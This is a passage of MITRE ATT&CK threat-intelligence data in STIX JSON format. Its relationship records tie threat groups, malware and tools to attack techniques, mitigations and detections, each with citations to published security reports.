Breach)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5bda6db3-c05b-4733-8935-a11dfc30c64d","type":"relationship","created":"2020-03-30T20:17:22.228Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-30T20:17:22.228Z","relationship_type":"revoked-by","source_ref":"attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d","target_ref":"attack-pattern--b8902400-e6c5-4ba2-95aa-2d35b442b118","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5bddc9b3-eaa0-487b-9d62-25a2a5fbb11a","created":"2020-07-27T18:45:39.494Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Talos Promethium June 2020","description":"Mercer, W. et al. (2020, June 29). PROMETHIUM extends global reach with StrongPity3 APT. Retrieved July 20, 2020.","url":"https://blog.talosintelligence.com/2020/06/promethium-extends-with-strongpity3.html"},{"source_name":"Bitdefender StrongPity June 2020","description":"Tudorica, R. et al. (2020, June 30). StrongPity APT - Revealing Trojanized Tools, Working Hours and Infrastructure. Retrieved July 20, 2020.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/353/Bitdefender-Whitepaper-StrongPity-APT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-10T23:47:31.473Z","description":"[StrongPity](https://attack.mitre.org/software/S0491) has used encrypted strings in its dropper component.(Citation: Talos Promethium June 2020)(Citation: Bitdefender StrongPity June 2020)","relationship_type":"uses","source_ref":"malware--20945359-3b39-4542-85ef-08ecb4e1c174","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5bde01dc-6c27-4494-a3eb-7a7d98982477","type":"relationship","created":"2020-03-02T19:30:53.662Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-02T19:30:53.662Z","relationship_type":"revoked-by","source_ref":"attack-pattern--d3df754e-997b-4cf9-97d4-70feb3120847","target_ref":"attack-pattern--f6ad61ee-65f3-4bd0-a3f5-2f0accb36317","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5be3684a-cb63-4328-bba0-22f14298b920","type":"relationship","created":"2020-10-06T16:01:27.500Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA WellMail July 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198c","description":"CISA. (2020, July 16). MAR-10296782-3.v1 – WELLMAIL. Retrieved September 29, 2020."}],"modified":"2020-10-06T16:01:27.500Z","description":"[WellMail](https://attack.mitre.org/software/S0515) can use TCP for C2 communications.(Citation: CISA WellMail July 2020)","relationship_type":"uses","source_ref":"malware--959f3b19-2dc8-48d5-8942-c66813a5101a","target_ref":"attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5be525da-5357-4d33-8664-ae74cc6fea02","created":"2023-09-30T22:51:21.821Z","revoked":false,"external_references":[{"source_name":"Chromium HSTS","description":"Chromium. (n.d.). HTTP Strict Transport Security. Retrieved May 24, 2023.","url":"https://www.chromium.org/hsts/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-30T22:51:21.821Z","description":"Consider implementing policies on internal web servers, such HTTP Strict Transport Security, that enforce the use of HTTPS/network traffic encryption to prevent insecure connections.(Citation: Chromium HSTS)","relationship_type":"mitigates","source_ref":"course-of-action--b5dbb4c5-b0b1-40b1-80b6-e9e84ab90067","target_ref":"attack-pattern--3d333250-30e4-4a82-9edc-756c68afc529","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--5be97f0e-bf09-4304-b7b1-2bc6321eb736","created":"2022-04-07T19:24:33.531Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for API calls that may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration. ","modified":"2022-04-07T19:24:33.531Z","relationship_type":"detects","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5beb3695-1e17-401d-84d3-7f007ac50bff","created":"2024-01-19T21:09:59.326Z","revoked":false,"external_references":[{"source_name":"Kaspersky ToddyCat Check Logs October 2023","description":"Dedola, G. et al. (2023, October 12). ToddyCat: Keep calm and check logs. Retrieved January 3, 2024.","url":"https://securelist.com/toddycat-keep-calm-and-check-logs/110696/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-19T21:09:59.326Z","description":"(Citation: Kaspersky ToddyCat Check Logs October 2023)","relationship_type":"uses","source_ref":"intrusion-set--b516b235-fc7d-4635-aca5-3d33312339c3","target_ref":"malware--452da2d9-706c-4185-ad6f-f5edaf4b9f48","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--5beed1ca-321a-47b7-a16c-02905ad96364","created":"2022-04-11T16:09:31.017Z","x_mitre_version":"0.1","external_references":[{"source_name":"Trend Micro DRBControl February 2020","url":"https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf","description":"Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Threat Group-3390](https://attack.mitre.org/groups/G0027) has hosted malicious payloads on Dropbox.(Citation: Trend Micro DRBControl February 2020)","modified":"2022-04-11T16:09:31.017Z","relationship_type":"uses","source_ref":"intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c","target_ref":"attack-pattern--3ee16395-03f0-4690-a32e-69ce9ada0f9e","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5bef15c2-1aa4-4f94-b594-0b5e03c26a41","created":"2024-03-08T19:42:00.802Z","revoked":false,"external_references":[{"source_name":"Mandiant Cutting Edge Part 2 January 2024","description":"Lin, M. et al. (2024, January 31). Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN Zero-Day Exploitation. Retrieved February 27, 2024.","url":"https://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-08T19:42:00.802Z","description":"[LIGHTWIRE](https://attack.mitre.org/software/S1119) can RC4 encrypt C2 commands.(Citation: Mandiant Cutting Edge Part 2 January 2024)","relationship_type":"uses","source_ref":"malware--5dc9e8ec-9917-4de7-b8ab-16007899dd80","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5bef7ca6-0d66-4d7c-9972-56781548222a","type":"relationship","created":"2021-06-30T16:13:40.672Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Chaes Nov 2020","url":"https://www.cybereason.com/hubfs/dam/collateral/reports/11-2020-Chaes-e-commerce-malware-research.pdf","description":"Salem, E. (2020, November 17). CHAES: Novel Malware Targeting Latin American E-Commerce. Retrieved June 30, 2021."}],"modified":"2021-06-30T16:13:40.672Z","description":"[Chaes](https://attack.mitre.org/software/S0631) has collected the username and UID from the infected machine.(Citation: Cybereason Chaes Nov 2020)","relationship_type":"uses","source_ref":"malware--77e0ecf7-ca91-4c06-8012-8e728986a87a","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--5bf6d81e-634d-4035-a895-87d2d31341ce","created":"2022-03-24T21:39:40.449Z","x_mitre_version":"1.0","external_references":[{"source_name":"GitHub SILENTTRINITY Modules July 2019","url":"https://github.com/byt3bl33d3r/SILENTTRINITY/tree/master/silenttrinity/core/teamserver/modules/boo","description":"Salvati, M. (2019, August 6). SILENTTRINITY Modules. Retrieved March 24, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[SILENTTRINITY](https://attack.mitre.org/software/S0692) can inject shellcode directly into Excel.exe or a specific process.(Citation: GitHub SILENTTRINITY Modules July 2019)","modified":"2022-04-15T21:48:34.037Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"tool--1244e058-fa10-48cb-b484-0bcf671107ae","target_ref":"attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5bfd02aa-acc6-47a0-8867-d7962ce775f6","created":"2019-09-24T12:31:43.884Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT41 Aug 2019","description":"Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.","url":"https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf"},{"source_name":"Group IB APT 41 June 2021","description":"Rostovcev, N. (2021, June 10). Big airline heist APT41 likely behind a third-party attack on Air India. Retrieved August 26, 2021.","url":"https://www.group-ib.com/blog/colunmtk-apt41/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:45:58.852Z","description":"(Citation: FireEye APT41 Aug 2019)(Citation: Group IB APT 41 June 2021)","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"tool--b77b563c-34bb-4fb8-86a3-3694338f7b47","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5c039dbf-c443-4f9b-b036-fcabaed74a3b","type":"relationship","created":"2020-11-17T18:39:06.904Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA MAR SLOTHFULMEDIA October 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-275a","description":"DHS/CISA, Cyber National Mission Force. (2020, October 1). Malware Analysis Report (MAR) MAR-10303705-1.v1 – Remote Access Trojan: SLOTHFULMEDIA. Retrieved October 2, 2020."}],"modified":"2020-11-17T18:39:06.904Z","description":"[SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) has named a service it establishes on victim machines as \"TaskFrame\" to hide its malicious purpose.(Citation: CISA MAR SLOTHFULMEDIA October 2020) ","relationship_type":"uses","source_ref":"malware--feb2d7bb-aacb-48df-ad04-ccf41a30cd90","target_ref":"attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5c0645e4-f0c7-4bb4-bedb-29a96a472fe0","type":"relationship","created":"2017-05-31T21:33:27.046Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://securelist.com/the-epic-turla-operation/65545/","description":"Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.","source_name":"Kaspersky Turla"}],"modified":"2019-07-14T21:04:45.627Z","description":"(Citation: Kaspersky Turla)","relationship_type":"uses","source_ref":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","target_ref":"tool--30489451-5886-4c46-90c9-0dff9adc5252","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5c08eb3a-d7a0-4ce0-97a2-496ea4c9f3ed","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Linfo May 2012","description":"Zhou, R. (2012, May 15). Backdoor.Linfo. Retrieved February 23, 2018.","url":"https://www.symantec.com/security_response/writeup.jsp?docid=2012-051605-2535-99"}],"modified":"2020-03-20T02:11:07.274Z","description":"[Linfo](https://attack.mitre.org/software/S0211) creates a backdoor through which remote attackers can download files onto compromised hosts.(Citation: Symantec Linfo May 2012)","relationship_type":"uses","source_ref":"malware--e9e9bfe2-76f4-4870-a2a1-b7af89808613","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5c0b2098-6f0d-4c99-ac9d-bb3ea4ca9d52","type":"relationship","created":"2021-11-19T15:29:02.911Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro DRBControl February 2020","url":"https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf","description":"Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021."}],"modified":"2021-11-19T15:29:02.911Z","description":"[Clambling](https://attack.mitre.org/software/S0660) can create and start services on a compromised host.(Citation: Trend Micro DRBControl February 2020)","relationship_type":"uses","source_ref":"malware--6e95feb1-78ee-48d3-b421-4d76663b5c49","target_ref":"attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5c0bb793-ced9-4b3c-80c2-af33e1fa6213","created":"2021-11-29T19:16:55.951Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Lunghi Iron Tiger Linux","description":"Daniel Lunghi. (2023, March 1). Iron Tiger’s SysUpdate Reappears, Adds Linux Targeting. Retrieved March 20, 2023.","url":"https://www.trendmicro.com/en_us/research/23/c/iron-tiger-sysupdate-adds-linux-targeting.html"},{"source_name":"Trend Micro Iron Tiger April 2021","description":"Lunghi, D. and Lu, K. (2021, April 9). Iron Tiger APT Updates Toolkit With Evolved SysUpdate Malware. Retrieved November 12, 2021.","url":"https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-28T21:25:11.844Z","description":"[SysUpdate](https://attack.mitre.org/software/S0663) can search files on a compromised host.(Citation: Trend Micro Iron Tiger April 2021)(Citation: Lunghi Iron Tiger Linux)","relationship_type":"uses","source_ref":"malware--c009560a-f097-45a3-8f9f-78ec1440a783","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5c12d816-bb1e-4f3b-8247-7a1780d2db01","created":"2024-05-29T17:57:01.967Z","revoked":false,"external_references":[{"source_name":"Sophos Gootloader","description":"Szappanos, G. & Brandt, A. (2021, March 1). “Gootloader” expands its payload delivery options. Retrieved September 30, 2022.","url":"https://news.sophos.com/en-us/2021/03/01/gootloader-expands-its-payload-delivery-options/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-29T17:57:01.967Z","description":"[Gootloader](https://attack.mitre.org/software/S1138) can determine if a victim's computer is running an operating system with specific language preferences.(Citation: Sophos Gootloader)","relationship_type":"uses","source_ref":"malware--396c18b9-26fb-4435-8589-fb856502e4c4","target_ref":"attack-pattern--c1b68a96-3c48-49ea-a6c0-9b27359f9c19","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5c15936e-ed4a-4a6e-a126-eb36084019b5","created":"2024-09-17T20:22:00.925Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bitsight Latrodectus June 2024","description":"Batista, J. (2024, June 17). Latrodectus, are you coming back?. Retrieved September 13, 2024.","url":"https://www.bitsight.com/blog/latrodectus-are-you-coming-back"},{"source_name":"Latrodectus APR 2024","description":"Proofpoint Threat Research and Team Cymru S2 Threat Research. (2024, April 4). Latrodectus: This Spider Bytes Like Ice . Retrieved May 31, 2024.","url":"https://www.proofpoint.com/us/blog/threat-insight/latrodectus-spider-bytes-ice"},{"source_name":"Elastic Latrodectus May 2024","description":"Stepanic, D. and Bousseaden, S. (2024, May 15). Spring Cleaning with LATRODECTUS: A Potential Replacement for ICEDID. Retrieved September 13, 2024.","url":"https://www.elastic.co/security-labs/spring-cleaning-with-latrodectus"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-18T19:54:17.488Z","description":"[Latrodectus](https://attack.mitre.org/software/S1160) can collect desktop filenames.(Citation: Latrodectus APR 2024)(Citation: Bitsight Latrodectus June 2024)(Citation: Elastic Latrodectus May 2024)","relationship_type":"uses","source_ref":"malware--76fde8df-3495-47c9-82eb-125c4f7fb621","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5c160f0c-1c12-4ab0-bd6e-a30f8d5bc168","type":"relationship","created":"2020-06-11T20:08:11.417Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky TajMahal April 2019","url":"https://securelist.com/project-tajmahal/90240/","description":"GReAT. (2019, April 10). Project TajMahal – a sophisticated new APT framework. Retrieved October 14, 2019."}],"modified":"2020-06-11T20:08:11.417Z","description":"[TajMahal](https://attack.mitre.org/software/S0467) has the ability to determine local time on a compromised host.(Citation: Kaspersky TajMahal April 2019)","relationship_type":"uses","source_ref":"malware--b51797f7-57da-4210-b8ac-b8632ee75d70","target_ref":"attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5c1f3cc7-902d-4af1-9910-d149b76ae4a0","created":"2024-08-13T19:44:27.620Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA Iran Albanian Attacks September 2022","description":"CISA. (2022, September 23). AA22-264A Iranian State Actors Conduct Cyber Operations Against the Government of Albania. Retrieved August 6, 2024.","url":"https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-264a"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-14T13:45:48.030Z","description":"For [HomeLand Justice](https://attack.mitre.org/campaigns/C0038), threat actors exploited CVE-2019-0604 in Microsoft SharePoint for initial access.(Citation: CISA Iran Albanian Attacks September 2022)","relationship_type":"uses","source_ref":"campaign--7e21077d-2589-43a7-a5f9-490061289526","target_ref":"attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5c245d0b-61e7-4558-8b36-32c846266af0","type":"relationship","created":"2019-07-18T17:52:28.558Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-07-20T02:18:04.880Z","description":"Limit the use of USB devices and removable media within a network.","relationship_type":"mitigates","source_ref":"course-of-action--2995bc22-2851-4345-ad19-4e7e295be264","target_ref":"attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5c252868-1474-4fed-b3b2-07a6d3415034","type":"relationship","created":"2020-05-13T13:58:12.424Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike Grim Spider May 2019","url":"https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/","description":"John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020."}],"modified":"2020-05-13T13:58:12.424Z","description":"[Wizard Spider](https://attack.mitre.org/groups/G0102) has used file deletion to remove some modules and configurations from an infected host after use.(Citation: CrowdStrike Grim Spider May 2019)","relationship_type":"uses","source_ref":"intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5c254f88-f567-43d8-9384-54edcf0cb348","created":"2024-09-03T16:41:27.991Z","revoked":false,"external_references":[{"source_name":"Mandiant_UNC2165","description":"Mandiant Intelligence. (2022, June 2). To HADES and Back: UNC2165 Shifts to LOCKBIT to Evade Sanctions. Retrieved July 29, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/unc2165-shifts-to-evade-sanctions/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-03T16:41:27.991Z","description":"[Indrik Spider](https://attack.mitre.org/groups/G0119) has accessed and exported passwords from password managers.(Citation: Mandiant_UNC2165)","relationship_type":"uses","source_ref":"intrusion-set--01e28736-2ffc-455b-9880-ed4d1407ae07","target_ref":"attack-pattern--315f51f0-6b03-4c1e-bfb2-84740afb8e21","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5c2aacbe-3d06-4fc4-87ca-eb2254fe98ea","created":"2024-09-17T14:37:19.608Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"US District Court Indictment GRU Oct 2018","description":"Brady, S . (2018, October 3). Indictment - United States vs Aleksei Sergeyevich Morenets, et al.. Retrieved October 1, 2020.","url":"https://www.justice.gov/opa/page/file/1098481/download"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-17T14:39:41.874Z","description":"[APT28](https://attack.mitre.org/groups/G0007) has used a Wi-Fi Pineapple to set up Evil Twin Wi-Fi Poisoning for the purposes of capturing victim credentials or planting espionage-oriented malware.(Citation: US District Court Indictment GRU Oct 2018)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"attack-pattern--48b836c6-e4ca-435a-82a3-29c03e5b492e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5c2cd95f-9c3a-4893-9a5f-960cfed62572","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Talos MuddyWater May 2019","description":"Adamitis, D. et al. (2019, May 20). Recent MuddyWater-associated BlackWater campaign shows signs of new anti-detection techniques. Retrieved June 5, 2019.","url":"https://blog.talosintelligence.com/2019/05/recent-muddywater-associated-blackwater.html"},{"source_name":"GitHub Invoke-Obfuscation","description":"Bohannon, D.. (2017, March 13). Invoke-Obfuscation - PowerShell Obfuscator. Retrieved June 18, 2017.","url":"https://github.com/danielbohannon/Invoke-Obfuscation"},{"source_name":"ClearSky MuddyWater June 2019","description":"ClearSky. (2019, June). Iranian APT group ‘MuddyWater’ Adds Exploits to Their Arsenal. Retrieved May 14, 2020.","url":"https://www.clearskysec.com/wp-content/uploads/2019/06/Clearsky-Iranian-APT-group-%E2%80%98MuddyWater%E2%80%99-Adds-Exploits-to-Their-Arsenal.pdf"},{"source_name":"Securelist MuddyWater Oct 2018","description":"Kaspersky Lab's Global Research & Analysis Team. (2018, October 10). MuddyWater expands operations. Retrieved November 2, 2018.","url":"https://securelist.com/muddywater/88059/"},{"source_name":"Unit 42 MuddyWater Nov 2017","description":"Lancaster, T.. (2017, November 14). Muddying the Water: Targeted Attacks in the Middle East. Retrieved March 15, 2018.","url":"https://researchcenter.paloaltonetworks.com/2017/11/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/"},{"source_name":"Talos MuddyWater Jan 2022","description":"Malhortra, A and Ventura, V. (2022, January 31). Iranian APT MuddyWater targets Turkish users via malicious PDFs, executables. Retrieved June 22, 2022.","url":"https://blog.talosintelligence.com/2022/01/iranian-apt-muddywater-targets-turkey.html"},{"source_name":"Trend Micro Muddy Water March 2021","description":"Peretz, A. and Theck, E. (2021, March 5). Earth Vetala – MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021.","url":"https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html"},{"source_name":"FireEye MuddyWater Mar 2018","description":"Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.","url":"https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-22T05:02:26.436Z","description":"[MuddyWater](https://attack.mitre.org/groups/G0069) has used Daniel 